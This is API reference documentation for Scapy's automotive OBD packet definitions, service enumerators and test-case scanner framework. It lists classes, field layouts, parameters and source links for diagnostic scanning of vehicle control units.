services = {1: 'CurrentPowertrainDiagnosticDataRequest', 2: 'PowertrainFreezeFrameDataRequest', 3: 'EmissionRelatedDiagnosticTroubleCodesRequest', 4: 'ClearResetDiagnosticTroubleCodesRequest', 5: 'OxygenSensorMonitoringTestResultsRequest', 6: 'OnBoardMonitoringTestResultsRequest', 7: 'PendingEmissionRelatedDiagnosticTroubleCodesRequest', 8: 'ControlOperationRequest', 9: 'VehicleInformationRequest', 10: 'PermanentDiagnosticTroubleCodesRequest', 65: 'CurrentPowertrainDiagnosticDataResponse', 66: 'PowertrainFreezeFrameDataResponse', 67: 'EmissionRelatedDiagnosticTroubleCodesResponse', 68: 'ClearResetDiagnosticTroubleCodesResponse', 69: 'OxygenSensorMonitoringTestResultsResponse', 70: 'OnBoardMonitoringTestResultsResponse', 71: 'PendingEmissionRelatedDiagnosticTroubleCodesResponse', 72: 'ControlOperationResponse', 73: 'VehicleInformationResponse', 74: 'PermanentDiagnosticTroubleCodesResponse', 127: 'NegativeResponse'}

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.packet


	
class scapy.contrib.automotive.obd.packet.OBD_Packet(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/packet.py#L12-L14]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/packet.py#L13-L14]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.scanner


	
class scapy.contrib.automotive.obd.scanner.OBD_DTC_Enumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L118-L126]

	Bases: OBD_Enumerator


	
static print_payload(resp: Packet) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L119-L126]

	








	
class scapy.contrib.automotive.obd.scanner.OBD_Enumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L36-L66]

	Bases: ServiceEnumerator


	
property filtered_results: List[_AutomotiveTestCaseFilteredScanResult]

	








	
class scapy.contrib.automotive.obd.scanner.OBD_S01_Enumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L173-L194]

	Bases: OBD_Service_Enumerator






	
class scapy.contrib.automotive.obd.scanner.OBD_S02_Enumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L197-L217]

	Bases: OBD_Service_Enumerator






	
class scapy.contrib.automotive.obd.scanner.OBD_S03_Enumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L129-L146]

	Bases: OBD_DTC_Enumerator






	
class scapy.contrib.automotive.obd.scanner.OBD_S06_Enumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L220-L242]

	Bases: OBD_Service_Enumerator






	
class scapy.contrib.automotive.obd.scanner.OBD_S07_Enumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L149-L158]

	Bases: OBD_DTC_Enumerator






	
class scapy.contrib.automotive.obd.scanner.OBD_S08_Enumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L245-L264]

	Bases: OBD_Service_Enumerator






	
class scapy.contrib.automotive.obd.scanner.OBD_S09_Enumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L267-L287]

	Bases: OBD_Service_Enumerator






	
class scapy.contrib.automotive.obd.scanner.OBD_S0A_Enumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L161-L170]

	Bases: OBD_DTC_Enumerator






	
class scapy.contrib.automotive.obd.scanner.OBD_Scanner(socket: SuperSocket | SingleConversationSocket, reset_handler: Callable[[], None] | None = None, reconnect_handler: Callable[[], SuperSocket | SingleConversationSocket] | None = None, test_cases: List[AutomotiveTestCaseABC | Type[AutomotiveTestCaseABC]] | None = None, **kwargs: Dict[str, Any] | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L290-L301]

	Bases: AutomotiveTestCaseExecutor


	
property default_test_case_clss: List[Type[AutomotiveTestCaseABC]]

	




	
property enumerators: List[AutomotiveTestCaseABC]

	








	
class scapy.contrib.automotive.obd.scanner.OBD_Service_Enumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L69-L115]

	Bases: OBD_Enumerator

Base class for OBD_Service_Enumerators


	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L91-L100]

	
	Parameters:

	
	timeout (integer or float) – Timeout until a response will arrive after a request


	count (integer) – Number of request to be sent in one execution


	execution_time (int) – Time in seconds until the execution of
this enumerator is stopped.


	state_allow_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is allowed. If provided, other states will not
be executed.


	state_block_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is blocked.


	retry_if_none_received (bool) – Specifies if a request will be send
again, if None was received
(usually because of a timeout).


	exit_if_no_answer_received (bool) – Specifies to finish the
execution of this enumerator
once None is  received.


	exit_if_service_not_supported (bool) – Specifies to finish the
execution of this
enumerator, once the
negative return code
‘serviceNotSupported’ is
received.


	exit_scan_on_first_negative_response (bool) – Specifies to finish
the execution once a
negative response is
received.


	retry_if_busy_returncode (bool) – Specifies to retry a request, if
the ‘busyRepeatRequest’ negative
response code is received.


	debug (bool) – Enables debug functions during execute.


	stop_event (Event) – Signals immediate stop of the execution.


	scan_range (list or tuple or range or iterable) – Specifies the identifiers to be scanned.


	full_scan (bool) – Specifies if the entire scan range is tested, or
if the bitmask with supported identifiers is
queried and only supported identifiers
are scanned.













	
get_supported(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → List[int][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L74-L89]

	




	
static print_payload(resp: Packet) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/scanner.py#L104-L111]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.services


	
class scapy.contrib.automotive.obd.services.OBD_DTC(_pkt, /, *, location=0, code1=0, code2=0, code3=0, code4=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L16-L32]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LOC|COD| CODE2 | CODE3 | CODE4 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. OBD_DTC                           


OBD_DTC fields






	location

	BitEnumField

	0



	code1

	XBitField  (2 bits)

	0



	code2

	XBitField  (4 bits)

	0



	code3

	XBitField  (4 bits)

	0



	code4

	XBitField  (4 bits)

	0











	
locations = {0: 'Powertrain', 1: 'Chassis', 2: 'Body', 3: 'Network'}

	








	
class scapy.contrib.automotive.obd.services.OBD_NR(_pkt, /, *, request_service_id=0, response_code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L35-L55]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L52-L55]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|REQUEST SERVICE| RESPONSE CODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. OBD_NR                            


OBD_NR fields






	request_service_id

	XByteField

	0



	response_code

	XByteEnumField

	0











	
responses = {16: 'generalReject', 17: 'serviceNotSupported', 18: 'subFunctionNotSupported-InvalidFormat', 33: 'busy-RepeatRequest', 34: 'conditionsNotCorrectOrRequestSequenceError', 120: 'requestCorrectlyReceived-ResponsePending'}

	








	
class scapy.contrib.automotive.obd.services.OBD_S01(_pkt, /, *, pid=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L58-L62]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. OBD_S01                           


OBD_S01 fields






	pid

	FieldListField

	[]















	
class scapy.contrib.automotive.obd.services.OBD_S02(_pkt, /, *, requests=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L72-L76]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            REQUESTS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. OBD_S02                           


OBD_S02 fields






	requests

	PacketListField

	[]















	
class scapy.contrib.automotive.obd.services.OBD_S02_Record(_pkt, /, *, pid=0, frame_no=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L65-L69]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PID      |    FRAME NO   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OBD_S02_Record                        


OBD_S02_Record fields






	pid

	XByteField

	0



	frame_no

	ByteField

	0















	
class scapy.contrib.automotive.obd.services.OBD_S03(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L79-L80]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.automotive.obd.services.OBD_S03_PR(_pkt, /, *, count=None, dtcs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L83-L91]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L90-L91]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     COUNT     |              DTCS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OBD_S03_PR                          


OBD_S03_PR fields






	count

	FieldLenField

	None



	dtcs

	PacketListField

	[]















	
class scapy.contrib.automotive.obd.services.OBD_S04(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L94-L95]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.automotive.obd.services.OBD_S04_PR(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L98-L102]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L101-L102]

	








	
class scapy.contrib.automotive.obd.services.OBD_S06(_pkt, /, *, mid=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L105-L109]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. OBD_S06                           


OBD_S06 fields






	mid

	FieldListField

	[]















	
class scapy.contrib.automotive.obd.services.OBD_S07(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L112-L113]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.automotive.obd.services.OBD_S07_PR(_pkt, /, *, count=None, dtcs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L116-L124]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L123-L124]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     COUNT     |              DTCS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OBD_S07_PR                          


OBD_S07_PR fields






	count

	FieldLenField

	None



	dtcs

	PacketListField

	[]















	
class scapy.contrib.automotive.obd.services.OBD_S08(_pkt, /, *, tid=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L127-L131]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. OBD_S08                           


OBD_S08 fields






	tid

	FieldListField

	[]















	
class scapy.contrib.automotive.obd.services.OBD_S09(_pkt, /, *, iid=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L134-L138]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              IID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. OBD_S09                           


OBD_S09 fields






	iid

	FieldListField

	[]















	
class scapy.contrib.automotive.obd.services.OBD_S0A(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L141-L142]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.automotive.obd.services.OBD_S0A_PR(_pkt, /, *, count=None, dtcs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L145-L153]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/services.py#L152-L153]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     COUNT     |              DTCS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OBD_S0A_PR                          


OBD_S0A_PR fields






	count

	FieldLenField

	None



	dtcs

	PacketListField

	[]

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.scanner package


Submodules



	scapy.contrib.automotive.scanner.configuration

	scapy.contrib.automotive.scanner.enumerator

	scapy.contrib.automotive.scanner.executor

	scapy.contrib.automotive.scanner.graph

	scapy.contrib.automotive.scanner.staged_test_case

	scapy.contrib.automotive.scanner.test_case









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.scanner.configuration


	
class scapy.contrib.automotive.scanner.configuration.AutomotiveTestCaseExecutorConfiguration(test_cases: List[AutomotiveTestCaseABC | Type[AutomotiveTestCaseABC]] | List[Type[AutomotiveTestCaseABC]], **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/configuration.py#L28-L168]

	Bases: object

Configuration storage for AutomotiveTestCaseExecutor.


	The following keywords are used in the AutomotiveTestCaseExecutor:
	verbose: Enables verbose output and logging
debug:  Will raise Exceptions on internal errors






	Parameters:

	
	test_cases – List of AutomotiveTestCase classes or instances.
Classes will get instantiated in this initializer.


	kwargs – Configuration for every AutomotiveTestCase in test_cases
and for the AutomotiveTestCaseExecutor. TestCase local
configuration and global configuration for all TestCase
objects are possible. All keyword arguments given will
be stored for every TestCase. To define a local
configuration for one TestCase only, the keyword
arguments need to be provided in a dictionary.
To assign a configuration dictionary to a TestCase, the
keyword need to identify the TestCase by the following
pattern.
MyTestCase_kwargs={"someConfig": 42}
The keyword is composed from the TestCase class name and
the postfix ‘_kwargs’.








Example

>>> config = AutomotiveTestCaseExecutorConfiguration([MyTestCase], global_config=42, MyTestCase_kwargs={"localConfig": 1337})  # noqa: E501






	
add_test_case(test_case: AutomotiveTestCaseABC | Type[AutomotiveTestCaseABC] | StagedAutomotiveTestCase | Type[StagedAutomotiveTestCase]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/configuration.py#L84-L111]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.scanner.enumerator


	
class scapy.contrib.automotive.scanner.enumerator.ServiceEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/enumerator.py#L62-L727]

	Bases: AutomotiveTestCase

Base class for ServiceEnumerators of automotive diagnostic protocols


	
property completed: bool

	




	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/enumerator.py#L275-L339]

	
	Parameters:

	
	timeout (integer or float) – Timeout until a response will arrive after a request


	count (integer) – Number of request to be sent in one execution


	execution_time (int) – Time in seconds until the execution of
this enumerator is stopped.


	state_allow_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is allowed. If provided, other states will not
be executed.


	state_block_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is blocked.


	retry_if_none_received (bool) – Specifies if a request will be send
again, if None was received
(usually because of a timeout).


	exit_if_no_answer_received (bool) – Specifies to finish the
execution of this enumerator
once None is  received.


	exit_if_service_not_supported (bool) – Specifies to finish the
execution of this
enumerator, once the
negative return code
‘serviceNotSupported’ is
received.


	exit_scan_on_first_negative_response (bool) – Specifies to finish
the execution once a
negative response is
received.


	retry_if_busy_returncode (bool) – Specifies to retry a request, if
the ‘busyRepeatRequest’ negative
response code is received.


	debug (bool) – Enables debug functions during execute.


	stop_event (Event) – Signals immediate stop of the execution.


	scan_range (list or tuple or range or iterable) – Specifies the identifiers to be scanned.













	
property filtered_results: List[_AutomotiveTestCaseFilteredScanResult]

	




	
property negative_response_blacklist: List[int]

	




	
property results: List[_AutomotiveTestCaseScanResult]

	




	
property results_with_negative_response: List[_AutomotiveTestCaseFilteredScanResult]

	Helper function to get all results with negative response
:return: all results with negative response






	
property results_with_positive_response: List[_AutomotiveTestCaseFilteredScanResult]

	Helper function to get all results with positive response
:return: all results with positive response






	
property results_with_response: List[_AutomotiveTestCaseFilteredScanResult]

	




	
property results_without_response: List[_AutomotiveTestCaseScanResult]

	Helper function to get all results without response
:return: all results without response






	
runtime_estimation() → Tuple[int, int, float] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/enumerator.py#L264-L273]

	




	
property scanned_states: Set[EcuState]

	Helper function to get all sacnned states in results
:return: all scanned states






	
show(dump: bool = False, filtered: bool = True, verbose: bool = False) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/enumerator.py#L681-L700]

	




	
sr1_with_retry_on_error(req: Packet, socket: SuperSocket | SingleConversationSocket, state: EcuState, timeout: int) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/enumerator.py#L343-L353]

	




	
property supported_responses: List[EcuResponse]

	








	
class scapy.contrib.automotive.scanner.enumerator.StateGeneratingServiceEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/enumerator.py#L730-L824]

	Bases: ServiceEnumerator, StateGenerator


	
get_new_edge(socket: SuperSocket | SingleConversationSocket, config: AutomotiveTestCaseExecutorConfiguration) → Tuple[EcuState, EcuState] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/enumerator.py#L745-L773]

	Basic identification of a new edge. The last response is evaluated.
If this response packet can modify the state of an Ecu, this new
state is returned, otherwise None.


	Parameters:

	
	socket – Socket to the DUT (unused)


	config – Global configuration of the executor (unused)






	Returns:

	tuple of old EcuState and new EcuState, or None










	
get_transition_function(socket: SuperSocket | SingleConversationSocket, edge: Tuple[EcuState, EcuState]) → Tuple[Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]], bool], Dict[str, Any], Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration], bool] | None] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/enumerator.py#L818-L824]

	




	
get_transition_function_description(edge: Tuple[EcuState, EcuState]) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/enumerator.py#L805-L807]

	




	
get_transition_function_kwargs(edge: Tuple[EcuState, EcuState]) → Dict[str, Any][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/enumerator.py#L809-L816]

	




	
static transition_function(sock: SuperSocket | SingleConversationSocket, config: AutomotiveTestCaseExecutorConfiguration, kwargs: Dict[str, Any]) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/enumerator.py#L775-L803]

	Very basic transition function. This function sends a given request
in kwargs and evaluates the response.


	Parameters:

	
	sock – Connection to the DUT


	config – Global configuration of the executor (unused)


	kwargs – Dictionary with arguments. This function only uses
the argument “req” which must contain a Packet,
causing an EcuState transition of the DUT.






	Returns:

	True in case of a successful transition, else False
















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.scanner.executor


	
class scapy.contrib.automotive.scanner.executor.AutomotiveTestCaseExecutor(socket: SuperSocket | SingleConversationSocket, reset_handler: Callable[[], None] | None = None, reconnect_handler: Callable[[], SuperSocket | SingleConversationSocket] | None = None, test_cases: List[AutomotiveTestCaseABC | Type[AutomotiveTestCaseABC]] | None = None, **kwargs: Dict[str, Any] | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L42-L441]

	Bases: object

Base class for different automotive scanners. This class handles
the connection to a scan target, ensures the execution of all it’s
test cases, and stores the system state machine


	Parameters:

	
	socket – A socket object to communicate with the scan target


	reset_handler – A function to reset the scan target


	reconnect_handler – In case the communication needs to be
established after a reset, provide a
reconnect function which returns a socket object


	test_cases – A list of TestCase instances or classes


	kwargs – Arguments for the internal
AutomotiveTestCaseExecutorConfiguration instance









	
check_new_states(test_case: AutomotiveTestCaseABC) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L232-L239]

	




	
check_new_testcases(test_case: AutomotiveTestCaseABC) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L224-L230]

	




	
cleanup_state() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L390-L406]

	Executes all collected cleanup functions from a traversed path
:return: None






	
abstract property default_test_case_clss: List[Type[AutomotiveTestCaseABC]]

	




	
enter_state(prev_state: EcuState, next_state: EcuState) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L360-L388]

	Obtains a transition function from the system state graph and executes
it. On success, the cleanup function is added for a later cleanup of
the new state.
:param prev_state: Current state
:param next_state: Desired state
:return: True, if state could be changed successful






	
enter_state_path(path: List[EcuState]) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L330-L358]

	Resets and reconnects to a target and applies all transition functions
to traversal a given path.
:param path: Path to be applied to the scan target.
:return: True, if all transition functions could be executed.






	
execute_test_case(test_case: AutomotiveTestCaseABC, kill_time: float | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L177-L222]

	This function ensures the correct execution of a testcase, including
the pre_execute, execute and post_execute.
Finally the testcase is asked if a new edge or a new testcase was
generated.


	Parameters:

	
	test_case – A test case to be executed


	kill_time – If set, this defines the maximum execution time for
the current test_case






	Returns:

	None










	
property final_states: List[EcuState]

	Returns a list with all final states. A final state is the last
state of a path.
:return:






	
get_test_cases_by_class(cls: Type[T]) → List[T][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L421-L423]

	




	
progress() → float[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L253-L264]

	




	
reconnect() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L157-L175]

	




	
reset_target() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L150-L155]

	




	
scan(timeout: int | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L266-L328]

	Executes all testcases for a given time.
:param timeout: Time for execution.
:return: None






	
property scan_completed: bool

	




	
show_testcases() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L408-L411]

	




	
show_testcases_status() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L413-L419]

	




	
property state_graph: Graph

	




	
property state_paths: List[List[EcuState]]

	Returns all state paths. A path is represented by a list of EcuState
objects.
:return: A list of paths.






	
stop_scan() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L248-L251]

	




	
property supported_responses: List[EcuResponse]

	Returns a sorted list of supported responses, gathered from all
enumerators. The sort is done in a way
to provide the best possible results, if this list of supported
responses is used to simulate an real world Ecu with the
EcuAnsweringMachine object.
:return: A sorted list of EcuResponse objects






	
validate_test_case_kwargs() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/executor.py#L241-L246]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.scanner.graph


	
class scapy.contrib.automotive.scanner.graph.Graph[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/graph.py#L31-L176]

	Bases: object

Helper object to store a directional Graph of EcuState objects. An edge in
this Graph is defined as Tuple of two EcuStates. A node is defined as
EcuState.

self.edges is a dict of all possible next nodes
e.g. {‘X’: [‘A’, ‘B’, ‘C’, ‘E’], …}

self.__transition_functions has all the transition_functions between
two nodes, with the two nodes as a tuple as the key
e.g. {(‘X’, ‘A’): 7, (‘X’, ‘B’): 2, …}


	
add_edge(edge: _Edge, transition_function: '_TransitionTuple' | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/graph.py#L50-L59]

	Inserts new edge in directional graph
:param edge: edge from node to node
:param transition_function: tuple with enter and cleanup function






	
static dijkstra(graph: Graph, initial: EcuState, end: EcuState) → List[EcuState][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/graph.py#L130-L176]

	Compute shortest paths from initial to end in graph
Partly from https://benalexkeen.com/implementing-djikstras-shortest-path-algorithm-with-python/  # noqa: E501
:param graph: Graph where path is computed
:param initial: Start node
:param end: End node
:return: A path as list of nodes






	
downrate_edge(edge: Tuple[EcuState, EcuState]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/graph.py#L70-L79]

	Increases the weight of an Edge
:param edge: Edge on which the weight has t obe increased






	
get_transition_tuple_for_edge(edge: _Edge) → '_TransitionTuple' | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/graph.py#L61-L68]

	Returns a TransitionTuple for an Edge, if available.
:param edge: Tuple of EcuStates
:return: According TransitionTuple or None






	
property nodes: List[EcuState] | Set[EcuState]

	Get a set of all nodes in this Graph
:return:






	
render(filename: str = 'SystemStateGraph.gv', view: bool = True) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/graph.py#L99-L128]

